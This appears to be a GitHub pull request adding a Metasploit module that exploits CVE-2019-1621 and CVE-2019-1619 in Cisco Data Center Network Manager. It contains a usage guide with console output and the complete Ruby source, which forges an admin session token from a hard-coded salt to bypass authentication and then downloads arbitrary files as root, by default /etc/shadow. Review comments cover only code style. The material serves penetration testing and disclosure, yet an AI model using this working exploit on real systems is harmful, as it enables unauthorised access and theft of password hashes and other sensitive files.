Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for CVE-2019-1621, Cisco Data Center Network Manager arbitrary file download. #12059

Merged
merged 10 commits into from Aug 30, 2019
@@ -0,0 +1,42 @@
## Intro

Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
the full path of the file (aka CVE-2019-1621).

This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.


## Author and discoverer

Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security


## References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
https://seclists.org/fulldisclosure/2019/Jul/7


## Usage

Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!

```
msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
rhost => 10.75.1.40
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
[*] 10.75.1.40:443 - No authentication required, ready to exploit!
[+] 10.75.1.40:443 - Got sysTime value 1567081446000
[+] 10.75.1.40:443 - Successfully authenticated our JSESSIONID cookie
[+] File saved in: /home/john/.msf4/loot/20190829122407_default_10.75.1.40_ciscoDCNM.http_855907.bin
[*] Auxiliary module execution completed
```
@@ -0,0 +1,173 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',
'Description' => %q{
DCNM exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
the full path of the file.
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why).
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1619' ],
[ 'CVE', '2019-1621' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
],
'DisclosureDate' => 'Jun 26 2019'
))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1)", 'admin']),
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1)", 'admin']),
OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),
])
end

def auth_v11
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET',
'vars_get' =>
This conversation was marked as resolved by wvu-r7

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

Creds in GET parameters? D:

{
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
)

if res && res.code == 200
This conversation was marked as resolved by wvu-r7

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

This would be better with guard clauses.

# get the JSESSIONID cookie
if res.get_cookies
res.get_cookies.split(';').each do |cok|
if cok.include?("JSESSIONID")
return cok
end
end
end
end
end

def auth_v10
# step 1: get a JSESSIONID cookie and the server Date header
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET'
})

# step 2: convert the Date header and create the auth hash
if res && res.headers['Date']
jsession = res.get_cookies.split(';')[0]
date = Time.httpdate(res.headers['Date'])
server_date = date.strftime("%s").to_i * 1000
print_good("#{peer} - Got sysTime value #{server_date.to_s}")

# auth hash format:
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
session_id = rand(1000..50000).to_s
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
This conversation was marked as resolved by wvu-r7

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

This might be better with interpolation.

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

Nevermind. It's all going through a digest. It looks more readable separated.

"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
md5_str = Base64.strict_encode64(md5)

# step 3: authenticate our cookie as admin
# token format: sessionId.sysTime.md5_str.username
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'cookie' => jsession,
'vars_get' =>
{
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
},
'method' => 'GET'
)

if res && res.code == 500
return jsession
end
end
end

def run
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
'method' => 'GET'
)
noauth = false

if res && res.code == 200
This conversation was marked as resolved by pedrib

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

Guard clause.

This comment has been minimized.

Copy link
@pedrib

pedrib Aug 29, 2019

Author Contributor

Honestly I prefer to leave it as is, guard clauses make the code unreadable IMO.

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

Nested conditionals can be unreadable, too, but yours aren't bad. I'm fine with this.

if res.body.include?('version":"11.1(1)')
This conversation was marked as resolved by pedrib

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

This should really be a case statement.

This comment has been minimized.

Copy link
@pedrib

pedrib Aug 29, 2019

Author Contributor

Perhaps, but it's just 3 cases, and it's well tested this way, I prefer to keep it as is.

This comment has been minimized.

Copy link
@wvu-r7

wvu-r7 Aug 29, 2019

Contributor

That's fair. And you're using include?.

print_good("#{peer} - Detected DCNM 11.1(1)")
print_status("#{peer} - No authentication required, ready to exploit!")
noauth = true
elsif res.body.include?('version":"11.0(1)')
print_good("#{peer} - Detected DCNM 11.0(1)")
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
jsession = auth_v11
elsif res.body.include?('version":"10.4(2)')
print_good("#{peer} - Detected DCNM 10.4(2)")
print_status("#{peer} - No authentication required, ready to exploit!")
jsession = auth_v10
else
print_error("#{peer} - Failed to detect module version.")
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
print_error(res.body)
print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")
jsession = auth_v10
end
end

if jsession || noauth
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
else
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")
end

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),
'method' => 'GET',
'cookie' => jsession,
'vars_get' => {
'showFile' => datastore['FILEPATH'],
}
)

if res && res.code == 200 && res.body.length > 0
filedata = res.body
vprint_line(filedata.to_s)
fname = File.basename(datastore['FILEPATH'])

path = store_loot(
'cisco-DCNM.http',
'application/octet-stream',
datastore['RHOST'],
filedata,
fname
)
print_good("File saved in: #{path}")
else
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
end
end
end
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.